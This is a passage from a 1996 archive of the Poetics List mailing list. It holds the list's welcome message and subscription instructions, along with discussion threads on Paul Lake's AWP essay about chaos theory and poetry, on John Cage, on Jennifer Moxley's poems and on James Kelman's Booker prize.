The ear of intent in Oppen placed in the heart of O'Hara. Jennifer challenges us to celebrate this _our_ work & through it a point, place, & people ("in hope of clearing this name from mud"). This name, being Poet, in this now, "lifelike."

If you think this extravagent you have not read the book or are not capable. This is not to dismiss those that cannot, but to feel for them. It is the glory not of power but of the protection of a niche-- these poems challenge the poetic community to know _unquestioningly_ it's value & right, to exist, & to speak. "I will say what the register calls forth, the range of the heart/ a journey in the strap of speech. . ."

--Rod

PS-- Because, from AOL, I have experienced oddities in the transmission of lineation, here is the quotation from "The Right to Remain Silent" which opens this post.
"Fear the state/ that could eat many lives/ just hanging/ on the hope of/
divine punishment./ Singing together/ we know not who/ we serenade,/
if not ourselves/ who are no selves/ and broken/
we look to bedtime,/ elope with big/ distance in mind./
Space is a vicious map/ erected by the/ trampling of destiny./ If you can
only live/ one life, you must die
for those/ you throw away."

↑ Index

37. Poetics List

welcome message

Sat 2 Nov 1996

Rev. 9-28-96

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. The Electronic Poetry Center (EPC)
7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working reasonably well.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. As of May, Joel Kuszai has working on the administration of the list. For subscription information contact us at [redacted].

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project.

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*
If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

38. Poetics List

Mor(e).on.mla (fwd)

Sat 2 Nov 1996

This was sent to the listowner address by mistake...
jk

---------- Forwarded message ----------
Date: Thu, 31 Oct 1996 13:42:01 -0500 (EST)
From: [redacted]
To: Poetics List <[redacted]>
Subject: Mor(e).on.mla

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

Poetix-ers Bob Perelman and myself are speaking on a panel called "Poetry in the Curriculum" (favorite topic of some of our non-academic listmates, I know) at MLA, Sat. 12/28 at 3:30. Bob's talking about teaching Olson and Rich (I think), and I'm talking about him--you can't tell 'cause the full title's not listed in the program, but it's "Language Writing, Theory, and the Institutions of Poetry: The Example of Bob Perelman." Anyone at "Assembling Alternatives" heard an early version of it there.

For my sins, I'm also speaking on an Olson panel, Mon. 12/30, 10:15, symbolically numbered 666 in the program. I'm to talk about "Olson and Language Writing. " This seemed like a real good idea at the time I committed to do it, and it's one of those things (most of us probably have them) that I always felt like I'd have to write on some day--the complex and conflicted relationships between the poet who's meant about as much to me as any poet I've read and later writers who also have meant and do mean a lot to me. So, not surprisingly, I now feel like I have nothing to say. Or at least I want to go beyond rehashing

all the "I Hate Speech" stuff to address other aspects of what Ron Silliman so nicely calls this "break within a tradition in the name of its own higher values."

I'd love to hear what any of you have to say on Olson and LP if you feel inclined. Ideas for references, etc. (Someone else is "doing" Olson & Howe)

Perelman on Olson, Golding on Perelman, Golding on Olson . . . "This conference isn't incestuous! It's just carefully structured! Sophisticatedly self-referential!"

↑ Index

39. Dean Taciuch
The Lake Effect
Sat 2 Nov 1996

Sorry for the long post, but then I don't post that often, so . . .

The application of modern scientific principles, especially quantum and chaos theories, to poetics has interested me for quite awhile, so I was anxious to read Paul Lake's AWP article. Well, I just finished it, and I think his misapplications are profound. Lake does get some things right: the idea of emergent phenomena developing from "bottom-up" rules, for example, and the paradox of self-organizing systems (which, I agree, poets and in fact all artists should be aware of--I think, however, that most artists are almost intuitively aware of these orders). And I even agree that "the laws governing the evolution of living and other natural forms are the same laws that govern the creation of poetry." But no, he loses me almost right away, with the Boids computer program. I have a version of Boids running as screensaver. It is an amazing piece of software, related to the various "artificial life" programs. Using simple iterated rules, it generates flocking behavior. But here's where I lose the analogy that Lake's going for: these flocks aren't sonnets. There have different shapes, different patterns every time. A-Life programs like "Boids" are bottom-up, as Lake suggests, but formal poetry, as Lake describes it, is clearly top-down. Look at the quotes from Richard Wilbur: what Wilbur says, and what Lake wants him to have said are quite different. Lake discusses the spontaneous generation of hexagonal patterns in silicon oil as it heats; at first disorganized, it breaks into order at higher temperatures. Wilbur, on the other hand, states "I commit myself to the metrical precedents which my first lines set." If the oil did this, its structure would never emerge. Lake's sense of a "strange attractor" is a top-down Platonic model. Rather seeing these patterns are emergent, he sees them as already existing as "a shadow that hulks toward the page" (Donald Hall). But the basic model, the first model in fact, of a strange attractor is weather. In weather we have a feedback system and basic laws. Purely deterministic, rule-bound, yet unpredictable. The weather on any given day is some

position on an attractor, not the attractor itself, which is a mathematical abstraction. Taken as whole, the range of possible positions (possible weathers) forms a strange attractor. Better, I think, to conceive of a poem as existing on a strange attractor, rather than as the strange attractor. Emergent phenomena cannot be "archetypical," as Lake argues they are. Emergent phenomena arise from simple rule sets which are allowed to feed back upon themselves. Curiously, Lake's problem with "free verse" is that it doesn't have enough rules: "with fewer rules and less feedback . . .it generally fails . . . " But look back at the Boids program: it has three rules. Three. And none of them describe the final shape (as the 14 line rule and rhyme patterns are dictated in the sonnet). Lake's example of the Hopkins sonnet is a bit of cheating, I think. The wonderful complexity of sound found in Hopkins is not in any way required for this to be a sonnet. Hopkins is not following any sonnet rule when he composes those sonically dense third and fourth lines: the internal rhyme, for example, which Lake sees (properly, I think) as "self-similarity" isn't required. If it were missing, this'd still be a sonnet (though not, clearly, as interesting of a sonnet). And Lake has to really stretch to get this into iambs. Two other things Lake gets wrong I think: the issue of time, and the idea of a broken symmetry. The latter is simply a misapplied term. "Broken Symmetry" is not "similarity with a difference" (what is "similarity with a difference"? Difference.) Broken symmetry is a term from physics; it refers to attempts to unify the fundamental laws of the universe. At higher and higher energy levels, the fundamental laws can all be described by the same formulae--this is symmetry. So far, all the laws (electromagnetism, strong and weak nuclear forces) can be unified. Gravity is the holdout. Anyway, at high energy levels (temperatures) electromagnetism and the nuclear forces are unified; they are symmetrical. As the energy levels drop, the symmetry is broken, and we need separate equations to calculate. To apply this to poetry, Lake would need a theory of energy-levels in poetic composition. Formal poetry, with its broken symmetries, would be a cooled down version of a more symmetrical form (the archetypical Poem, perhaps?) As for temporality (the four dimensional structure that Lake discusses) I simply can't see how he pegs typography as strictly spatial; how is the "breath unit" 2 dimensional? If one has stopped breathing, perhaps. I agree with him that poetry is performative, yet there is a performative aspect clearly in, for example, Projective Verse. Lake can only miss this by a kind of willful ignorance. Finally, what Lake misses is the human input in his formal examples. In no case is a formal poet simply allowing the bottom-up rules to run, nor is going to rhyming dictionary anything like randomness. The poets choose what patterns to follow up on, which emerging form looks promising. The poet who most clearly exemplifies the chaos principles Lake puts forth is John Cage. In Cage's work we see simple rules, reiteration and feedback, and little or no input from the author. Cage, and others, are much closer to chaos theory than Wilbur or Hall. Yet Lake

clearly has no use for artists like Cage, or even WC Williams, who had a similar (I think) view of the artist's relationship to nature: not to copy nature, but to do what nature does (as in Williams' consideration of Shakespeare in Spring and All). Clearly, such a relationship with nature doesn't rule out sonnets, but it certainly doesn't require them. As Baraka said in "How You Sound": "If a poem as got to be a sonnet (unlikely tho) or whatever, it'll certainly let me know." That's a bottom-up approach; how does it differ from Wilbur or Hall or Lake deciding what the form will be? They, it seems, have an idea (ideal form) already in mind. This is where Lake gets away from chaos and goes into mere formalism.

↑ Index

40. Louis Cabri

All loyalty to the social.

Sat 2 Nov 1996

I still attach utopianism to the political (and I don't mean, like, Thomas More). The utopian impulse behind politics certainly seems to have expired in the view of some on this list. I specifically mean the impulse of a utopian politics in/through/by poetry. Instead, there's a complacent pragmatism, or else a productive compartmentalism (terms, types, tones), and specifically a monologic dogmatism ("poetry is more dogmatic"), and definitely the uniform reduction of the political in poetry to the crudest terms (poetic and non) that would be rejected (with indifference, even) probably by everyone on this list regardless of issue. (Well, it took a century to begin to get the reactionary reductivism out of Marxism.) Finally, however, there's a pointillist dot of delirial hope evident in Rod's characterisation of Jennifer Moxley's book of poems (though symptomatically it is expressed defensively).

My only thought about McCaffery's slogan, "poetry is politics that stays politics," is unformed, and that is that to me it's a form of idealism, which ain't necessarily a bad word (Mouffe goes to Aristotle), so that, if it's "palpably false," then it's "false" and "palpable" like a Hegelian "speculative proposition" is. I know this is cryptic.

"Elsewhere is the key word" why Snyder's is not an interesting political *poetry* (except for maybe, Wave).

↑ Index

41. Aldon L. Nielsen
Re: "I recognize a frog by its structure"
Sun 3 Nov 1996

Dean -- I read your excellent post ust after a stroll through my (supersymmetrical) imaginary garden. The one place I disagreed with you was a place where you agreed with Lake. To my reading, perhaps negatively affected by these high altitudes, to speak of the "law" that governs the evolution of life forms as being the same law that governs the creation of poetry requires either that we are speaking of a law so removed, abstract and encompassing as to be nearly meaningless, or to shift the term as we move from one realm to another --

But I'm right with you on all else -- Lake's essay reminds me of past arguments to the effect that English is inherently iambic, or that the heartbeat means that we should be more "natural" in the writing of metered verse --

Chaos theory has been much abused -- rather like those composition texts that appropriate the left/right brain schema --

look for my new textbook -- +Writing on the Inside of the Brain_

just ust?

the pleasures of merely formalizing???

In high school we used to rent formals --

good night all

↑ Index

42. Pierre Joris
Re: The Lake Effect
Sun 3 Nov 1996

Dean Taciuch wrote:

> *The application of modern scientific principles, especially quantum and chaos theories, to poetics has interested me for quite awhile, so I was anxious to read Paul Lake's AWP article. Well, I just finished it, and I think his misapplications are profound.*

Dean: that's an excellent take on Lake's piece -- you should send it to AWP as letter-to-the-editor at least.

Gwyn -- slipDean's article on your editor's desk.This whole issue of awp (& its general trend towards the most basically reactionary & uninformed poetics) needs to be answered.

Pierre
--

==========
==========
Pierre Joris | I still know little about poems, but I do
know
Dept. of English | that suspicion is important. Be
sufficiently
SUNY Albany | suspicious, suspect the words, the language,
Albany NY 12222 | I have often told myself, heighten this
tel&fax: (518) 426 043 | suspicion — so that someday, soemthing New
email: | can come into being...
[redacted] |
Ingeborg Bachmann
==========
==========

↑ Index

43. Ken Edwards

Literary Culture

Sun 3 Nov 1996

From Ron S's post about the Booker prize:

In 1994 the judges scored another own-goal and gave the laurels to James Kelman's wholly unreadable mixture of Glasgow dialect and foul obscenity, "How Late It Was, How Late,"

Actually, Kelman is well worth reading, far more so than most other short-listed/winning novelists. I haven't got round to his Booker-winning novel, but I enjoyed "A Disaffection" and "The Bus Conductor Hines". What provoked the torrent of snobbish and ignorant bile he received as a result of his winning the prize was, I think, the fact that his objective-narrator voice is Glaswegian. Having your characters speak in dialect/obscenities is just about acceptable -- pigeonhole as "narrative of low life" -- but having the narrator-voice thus contaminated is not! Anyway, for my money (which I did not place with William Hill) Kelman is funny and erudite and stretches the boundaries of fiction.

Meanwhile, as a small press editor I can take heart from those sales figures. Three copies a week for Graham Swift, huh? Maybe Reality Street Editions poets are not doing so badly after all.

Ken

↑ Index

44. Joe Amato
Re: "I recognize a frog by its structure"
Sun 3 Nov 1996

dean, great critique of lake, and like aldon, i'd like to offer a friendly amendment... let me cut & paste from a quick post i posted to another list member backchannel re lake's piece:

> *there's an undercurrent that lake misses, and it has to do with the cognitive level (i >mean, he *must* go there if he wants his argument to work---which is not to say i >think he *should* make such an argument)... language may do all sorts of interesting >things of its own account, but human beings fiddling with letters is just not the same >as natural law permitting for fractal formation of coastlines... the problem is that lake >is reading alphabetic surface techniques as indicative of a sort of linguistic deep >structure (on the one hand), and claiming that this surface must in some way be >congruent to the surface features of a shoreline (on the other)... this constitutes [as i >see it] substantial metaphorical slippage, b/c if there's an alignment to be made >between cognitive structure, language structure, and geological structure (which i >think there may be---cf. deleuze and guattari's "geological ethics") this does not mean >that the formal techniques one employs as a poet need necessarily reflect same... etc...*

combine this misread of lake's with the formalist hierarchy he introduces, and you've got a rather insidious example of putting quasi-scientific concepts to the service of aesthetic ranking... had lake been more speculative, more tentative, had he tried to feel his way through the question of self-organization and complexity as it applies to language (and poetic) practices, perhaps he might have offered us something of value (sandra braman has done some fascinating work in this regard, in more abstract terms)... instead, he seems to have assumed that one discourse may be used to assign value in another, and proceeded from there to build his 'argument'...

anyway, thanx for that!...

best,

joe

↑ Index

45. Douglas Barbour
Re: that review & Moxley's poetry
Sun 3 Nov 1996

Thank you, Rod Smith. Plenty there to meditate on, & it does look interesting & engaging. I will reread & think on it.

Recalling the reference to a reading by Erin Mour=E9 recently, I would add that other ways of politicizing the lyric mode include hers, in which a passionate anger explodes into canny articulation, often in poems about that 'ideal' lyric subject, love. There are many sublte ways to 'theorize' inside the poem; it seems Moxley is doing so through a carefully contrived simplicity; that's interesting. I can see that now I can read some of the poems. Thanks again for taking the time to type them in.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

46. Joe Amato

Re: "I recognize a frog by its structure"

Sun 3 Nov 1996

---

hey, that excerpt of mine in my last post was a sonnet, no?...

mebbe i'll add just one more thought here, based on a loosely-knit piece i published four years ago (on sci-lit, hypertext, tech. writing etc): the idea that science "becomes the best source, method, and authority for determining the ultimate critera of moral values and those ultimate ethical axioms and guidelines to live and govern by" (113) has been put forward by no less than nobel-laureate split-brain researcher roger w. sperry, in his book _science and moral priority: merging mind, brain, and human values_ (columbia up, 1983)... as i see it, it's no accident that the guy who gave us the idea that "consciousness is causal," with "emergent" neural process and the like (which speaks to issues of top-down and bottoms-up at the neural level) might also have articulated his social platform in just such terms...

what's happened here is that our social realities are explained, justified and de/politicized through access to cognitive structure (as this latter is presumed to speak to mind)... it's only a small next step to ranking aesthetic value accordingly...

as i observed four years ago, we thus have one answer to frank zappa's and the mothers' "who are the brain police?"...

best,

joe

↑ Index

47. Rod Smith
Re: The Lake Effect
Sun 3 Nov 1996

> *The poet who most clearly exemplifies the chaos principles Lake puts forth is John Cage. In Cage's work we see simple rules, reiteration and feedback, and little or no input from the author.*

I'm also in agreement with Dean on most of his points but the above isn't quite accurate. In most of Cage's texts using chance operations there is also a great deal of choice. Marjorie Perloff discusses this in some detail relative to "Writing for the Second Time Through _Finnegan's Wake_" in _Postmodern Genres_. Retallack discusses this with Cage in _MUSICAGE_. & it also comes up in _I-VI_. As Perloff notes in her article: "Commentary on Cage is usually so preoccupied with his use of self-imposed rules and chance operations that it slights the role the poet-composer's extraordinary art plays." Not that Dean is 'slighting' Cage, his concern is with chaos theory not explication of Cage. Nevertheless I thought I'd make my point relative to Cage's process. Also it is of note that Mac Low has come to prefer the term "nonintentional prcedures" over "chance operations," because that term, for him, "includes a wider variety of compositional methods, many of which, strictly speaking, do not involve 'chance,' though some do." See Aerial 8 interview with Watten.

My Dictionary of Literary Biography article on Cage (forthcoming) ends thus: "In his late writings he is no longer interested in "nonsense" nor in "sense" in any conventional understanding of those terms. Rather he has achieved a poetry which mimics the process of meaning creation in that while the form (as of any language) is already constituted the possibilities for almost infinite recombination are such that the ideas already exist-- it is the poets task not to have them but to find them, already extant, in the material of language. As he wrote in _Composition in Retrospect_: "the past must be Invented/ the future Must be/ revIsed / doing boTh/ mAkes/ whaT/ the present Is/ discOvery/ Never stops"

Dean's piece, & some of Retallack's articles, come close to discussing chaos theory, nonlinear dynamics, etc. relative to poetry in a concrete manner, but it seems still, to me, that no one has escaped the metaphorical (or possibly ever will) in this discussion. It seems we need a better understanding of what

language is & how it works before these connections can be made beyond an essentially intuitive level (not to dismiss the intuitive, hey I am a poet over here huh). Maybe the tools for such convincing connections are there in linguistics, I don't know.

--Rod

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48. Joe Amato
Re: The Lake Effect
Sun 3 Nov 1996

---

i think the point rod makes re the metaphorical is important: to do the sort of work lake is attempting, but to do it [dare i say] better, what needs to happen is that the arts side of things has got to be shown as participating conceptually (and linguistically) in those broader cultural-social movements in which the science, too, participates (this latter, of course, in mathematical terms as well)... which means that one needs to be able to situate the sciences not as primary, but as correlative to the arts in this regard...

and to do so wrt chaos theory is not an easy matter, not least b/c we're so close to it...

joe

↑ Index

49. George Bowering
Re: Help Eliot
Sun 3 Nov 1996

> *A Chinese researcher of Am. Lit asked me to find this: a group of poems by T.S. Eliot were published recently for the first time because Eliot didn't want them to be seen. Where can I find information about it? The World Headquarter for Reincarnation?-- Forgive the joke, but someone who knows please help me.*
>
> *Yunte Huang*

I read an article about the poems in several newspapers a couple of weeks ago, maybe a month ago. Even the International Herald tribune had a good-sized article. In all likelihood a story also appeared in things such as _Time_ anmd _Newsweek_ and _Maclean's_.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

50. **Dean Taciuch**
Re: Lake effects
Mon 4 Nov 1996

Plenty to think about in the responses to Lake's article--

Aldon Nielsen wrote:
>To my reading, perhaps negatively affected by these high altitudes, to
>speak of >the "law" that governs the evolution of life forms as being the
>same law that >governs the creation of poetry requires either that we are
>speaking of a law so
>removed, abstract and encompassing as to be nearly meaningless, or to
>shift the >term as we move from one realm to another --

And I agree. "Law" is the wrong word here. Method, perhaps. Model. Paradigm, even, if that word were not so devalued at present. Anyway, if one sees consciousness as an emergent phenomenon and language as an emergent phenomenon, is poetry, then, not included in this?

Rod, thanks for the correction on Cage. The material you posted from your entry in the Dictionary of Literary Biography is close, I think, to my point. A method that "mimics the process of meaning creation" is one which, I think, does what nature does. Not that nature makes meaning--we do that, or rather conscious awareness does that. And consciousness is one of those processes which may be described as "emergent." I'm following Roger Penrose on this--his idea that consciousness emerges at an interface between classical and quantum mechanics in the nervous system is very controversial, but it draws on psychology, biology, physics, chemistry, philosophy--and this is where Joe Amato's point comes in--why not the arts?

Joe's point about "metaphorical slippage" and the error of simply reading surface features is something to be well aware of--

One of my interests is quantum physics--not the mathematics of probablity, but the philosophical and conceptual problems it gives rise to. These issues are related to chaos, certainly, but are they merely metaphorical when applied to writing, or to any of the arts? I mean, if these processes (nonlinear and even quantum, if one agrees with Penrose) can literally (not metaphorically) give rise to consciousness, then that allows any field which makes claims as to the nature

of awareness, cognitive experience, meaning, etc. access to these theories in their full sense, not as metaphor. This would, I think, allow poetics as it allows philosophy to make use of these models.

Dean

↑ Index

51. Alan Jen Sondheim
Re: Lake effects
Mon 4 Nov 1996

Just a minor point - the models, etc. of quantum mechanics are interpenetrated by the mathematics, articulated by the mathematics. That's where the problem comes in; I'd say to some extent that if you're not interested in the mathematics of qm, you're not interested in qm, and your "take" becomes an issue of slippage. Just as mathematics are extrapolated from concepts, concepts are extrapolated from mathematics. What does it mean _exactly_ to _apply_ qm to literary texts? And without testability, is- sues of parameterization, verification, etc., all that can be accomplished is another dose of metaphor and a further division, ironically, between the so-called two-cultures looking out, looking in.

Alan

_____
http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

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52. Aldon L. Nielsen
Re: Lake Affect Country
Mon 4 Nov 1996

Was I the only reader of _AWP_ who thought for the briefest moment that they too, like _Social Text_, had been hoaxed?? Has anyone actually met Lake?

↑ Index

53. Aldon L. Nielsen
Re: Olson and LP
Mon 4 Nov 1996

The one LP by Olson I've heard was most interesting, full of harruummphs and mumblings,,, and some great poetry -- It wasn't exactly speech -- it was a groove --

has anybody rereleased that stuff on CD yet?

anyway, Alan, I'll see you in DC & will attend at least one of your panels --

↑ Index

54. Dean Taciuch
Re: Lake effects
Mon 4 Nov 1996

Just a quick one here--its not that the mathematics don't interest me, its that they're beyond my mathmatical abilities. I agree that the concepts arise from the math, but these concepts have philosophical implications that go beyond the mathematics--as biology goes beyond chemistry, as film (or photography) goes beyond optics.

The issue of testability takes us back to the question of what does an experimental poet do, doesn't it?

Dean

↑ Index

55. Alan Jen Sondheim
Re: Lake effects
Mon 4 Nov 1996

And a quick one in return (I can't sleep again) - the problem for me has always been that the implications are drawn from the concepts, but the concepts are "leaky" in relation to the mathematics; by the time one gets to the humanities, the implications are, in a sense, broken. I don't think the last analogy is correct, but biology in fact doesn't go beyond chem- istry; without a thorough knowledge of the latter (molecular biology, etc.), biology returns with elan vital and other life-force concepts.

As for experimental writing - I don't think this is testable; one thing that's fascinating about cultural productions is their lack of reproducible verification procedures -

Alan

On Mon, 4 Nov 1996, Dean Taciuch wrote:

> *Just a quick one here--its not that the mathematics don't interest me, its that they're beyond my mathmatical abilities. I agree that the concepts arise from the math, but these concepts have philosophical implications that go beyond the mathematics--as biology goes beyond chemistry, as film (or photography) goes beyond optics.*

> *The issue of testability takes us back to the question of what does an experimental poet do, doesn't it?*
>
> *Dean*

---

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

↑ Index

56. Kurt Nimmo
PNG POET SERIES: LYN LIFSHIN
Mon 4 Nov 1996

PNG POETRY ONLINE Announces
the release of the PNG POET SERIES.

RELEASE ONE: Eight Poems by *LYN LIFSHIN*

http://www.cruzio.com/~png/lifshin.htm

The Series is currently open for submissions.
Contact: Kurt Nimmo, [redacted]

for more info on PNG POETRY ONLINE
visit the web site at: http://www.cruzio.com/~png

--
==========
Kurt Nimmo - [redacted]
PNG POETRY ONLINE: http://www.cruzio.com/~png
==========

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57. 9448721p
Re: Literary Culture
Mon 4 Nov 1996

As a new subscriber, someone born, brought up in Glasgow and still living here, it was a little dismaying to read the quote from Ron S. on Kelman in Ken Edwards` sensitive response. In "James Kelman`s wholly unreadable mixture of Glasgow dialect and foul obscenity", "wholly unreadable" is clearly not meant as an apologetic admission of difficulty when confronted with an unfamiliar idiolect; it`s inhospitable, a contemptuous dismissal. The complaint of "foul

obscenity" needs further explanation from Ron S before I address it. Kelman`s every interview for the last five years at least have been spent explaining why "there`s no such thing as `bad language` - just language badly used".

I agree with the Glasgow poet Tom Leonard who has spent a career arguing that your voice is as good as anyone else`s, no matter where you come from (it looks like this is what Glasgow writers are condemned to do).

Robin Purves

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58. **henry**
Re: The Lake Effect
Mon 4 Nov 1996

Thanks, Dean T. for illuminating comments. But doesn't the term "broken symmetry" actually have a broader application than you make out? I could be wrong. But I thought it referred more generally to forms close to symmetry that are somehow skewed a little. I've read it (I think!) in works on math, not just theoretical physics. - HG

↑ Index

59. **henry**
Re: All loyalty to the social.
Mon 4 Nov 1996

I think you're on the right track, Louis, but I don't think "complacency" necessarily attaches to pragmatism, & a lot of the "defensiveness' on this subject comes out of an awareness that utopianism in poetry can mean a complacent, aestheticized idealism, which, despite good radical style, is disengaged from politics. What is utopianism in real life? For me, Whitman is it. Making a poetics out of "presence". The poet backs up his/her words with being there. (not just elsewhere, eating sky-pie). - H. Gould

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60. **Joe Amato**
Re: Lake effects
Mon 4 Nov 1996

---

alan is right about the mathematical---it does present a key slippage point, as it were... and it makes any cross-disciplinary analysis difficult...

i *do* want to be sure, though, to indicate that mathematics is often put to the service of faltering paradigms and concepts (perhaps "faltering" is not quite

right here---i'm not entirely certain we're continually progressing in our refinements)... it's clear that terminology has played a fundamental role right along in the sciences, both theoretically and in their articulation... a good example would be eighteenth century chemistry...

which, again, is why i say that chaos is so difficult in this regard---we're so close to it that it's difficult to see 'it' for what it is, and to pull it apart in ways that might reveal the more tacit assumptions structuring its logic (and its math)... the other complication is that the mathematics that supports it is not a simple extension of newton's principia, with which many of us may by now be familiar... i'm not talking about the easy examples that scientists offer by way of nonlinear equations and the like, in order to talk to a lay public... i'm talking about the actual math that's employed by folks like prigogine... i've heard prigogine lecture to a group of physicists as well as to the general public... and in the former, the key difference was that he was challenged by the physicists at the mathematical level---and in fact he answered to each objection on the blackboard, while at the same time saying to the effect that 'he generally had his mathematicians do such work for him'...

the math he used---and i was with a physicist friend---was itself extremely difficult, and silenced all objections... one reason why i hold prigogine in high regard---even if, like most scientists, he *does* presume to be describing 'reality' more accurately than his predecessors---is b/c he can shift back and forth from the math., to the concepts, in fact to the history (i also heard him on one occasion reach way back to newton's original articulation, to correct an interrogator who had challenged his remarks re newton)...

anyway, yeah---i've done some work in this regard mself (wrt energy per se) and it's clear to me that useful insights and correspondences may be developed in the absence of the math... but it's really quite difficult, and if you happen to incorporate the math, this will likely be one of the first things that gets chopped for editorial purposes (and b/c of audience)... for those of you who are interested, the society for literature and science (sls) regularly discusses such stuff (and has an annual conference)... joe conte (who's out there someplace i think) and i were on a panel there a few years back... on a related note: i think brian rotman's work on the semiotics of math. may be useful here (can't recall any titles at the moment, sorry)...

as to aldon's sense of sokal-ness: hey, i like that!... but i really do think lake is serious as hell... but hey man---what REALLY bugs me is that you've got the title of my most recent poetic project, "lake affect," in your subject line... which in fact does touch on self-organization and the like, while slipping & sliding along that great lakes frontier that conditioned my own childhood self...

boohoo///

best,

joe

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61. DEAN F. TACIUCH
Re: Lake effects
Mon 4 Nov 1996

Alan: Yes, I see what you mean--without some grounding in hard science or mathematics, this becomes a kind of mysticism, and that's not what I'm after. To use the example of biology again, it doesn't leave chemistry behind, it builds on it. And studies of consciousness build on biology (neurology). I'd say these fields do in fact, go beyond the premises of the the sciences from which they've arisen. But yes, the hard stuff has got to be there.

The problem I see, and the one I think you're addressing, is the mythologizing of whatever science is being touted as "the model." The working of mind, for example, was once (turn of the century?) thought of as analogous to a telegraph system, then to a computer, then to parallel computing (neural networks and the like), now quantum effects and chaos. That's not to say that these latter concepts aren't useful (I think they are, and as more than metaphor--even as metaphor they're useful). But will Lake's ideas (and my counter) seem as silly in the coming decades as little telegraph wires in our heads seem to us now? Probably. But that shouldn't prevent us from developing these models, using them to see what they reveal about awareness, cognition, language, meaning.

Dean

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62. Charles Bernstein
Re: Literary Culture
Mon 4 Nov 1996

At 11:39 AM 11/4/96 GMT, Robin Purves wrote:
>As a new subscriber, someone born, brought up in Glasgow and still
>living here, it was a little dismaying to read the quote from Ron S.
>on Kelman in Ken Edwards` sensitive response. In "James Kelman`s
>wholly unreadable mixture of Glasgow dialect and foul obscenity"

Dear Robin Purves,

Welcome to the list!

But please note!! Ron had sent to the list an article he characterized as "lurid" from what he called "The Wall Street Urinal". Ken appears to have miscontrued

this. This truly foul article was by Paul Levy. I thank Ron for passing it on. The source of the quoted article is:

LEISURE & ARTS: Books, Booker, Bookies
